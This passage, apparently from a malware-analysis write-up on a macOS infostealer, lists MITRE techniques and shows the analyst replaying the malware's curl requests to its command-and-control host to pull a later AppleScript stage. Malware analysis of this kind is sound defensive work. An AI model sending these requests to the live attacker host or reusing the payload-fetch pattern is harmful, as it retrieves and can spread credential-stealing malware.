InfoStealer · Dropper

Essential macOS Stealer - script.sh

Author: Moise Medici
Updated: 10 Sept 2026 · Completed
Difficulty: Easy
Platform: MacOS
Family: Essential macOS Stealer
Languages: Bash AppleScript
MITRE: T1059.002 (Command and Scripting Interpreter: AppleScript) T1059.004 (Command and Scripting Interpreter: Unix Shell) T1569.001 (System Services: Launchctl) T1543.001 (Create or Modify System Process: Launch Agent) T1548.006 (Abuse Elevation Control Mechanism: TCC Manipulation) T1027.010 (Obfuscated Files or Information: Command Obfuscation) T1027.016 (Obfuscated Files or Information: Junk Code Insertion) T1140 (Deobfuscate/Decode Files or Information) T1564.001 (Hide Artifacts: Hidden Files and Directories) T1056.002 (Input Capture: GUI Input Capture) T1539 (Steal Web Session Cookie) T1555.001 (Credentials from Password Stores: Keychain) T1555.003 (Credentials from Password Stores: Credentials from Web Browsers) T1555.005 (Credentials from Password Stores: Password Managers) T1016 (System Network Configuration Discovery) T1033 (System Owner/User Discovery) T1082 (System Information Discovery) T1083 (File and Directory Discovery) T1217 (Browser Information Discovery) T1005 (Data from Local System) T1074.001 (Data Staged: Local Data Staging) T1119 (Automated Collection) T1560.001 (Archive Collected Data: Archive via Utility) T1008 (Fallback Channels) T1071.001 (Application Layer Protocol: Web Protocols) T1102.001 (Web Service: Dead Drop Resolver) T1105 (Ingress Tool Transfer) T1041 (Exfiltration Over C2 Channel)

Experimenting with Stage4

After analyzing the stage four, it is worth trying the cURLs in a safe environment, with fake data. The first request, worked and returned runloader.

1
$ curl --max-time 100 --retry 3 --retry-delay 2 -X POST 'https://d9mjs.sbs/' -d 'uuid=AAA1111A-1A11-11AA-A111-0A1A1A11AA11>&username=aldo&txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9&task'
2
runloader

Because of that, the next call can be done with &smodule as data sent via POST. This worked and returned another applescript file that is saved as stage5_smodule.applescript.

1
$ curl --max-time 100 --retry 3 --retry-delay 2 -X POST 'https://d9mjs.sbs/' -d 'uuid=AAA1111A-1A11-11AA-A111-0A1A1A11AA11>&username=aldo&txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9&smodule' > stage5_smodule.applescript
2
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
3
                                 Dload  Upload  Total   Spent   Left   Speed
4
100 195.0k   0 194.9k 100    102 509.6k    266                              0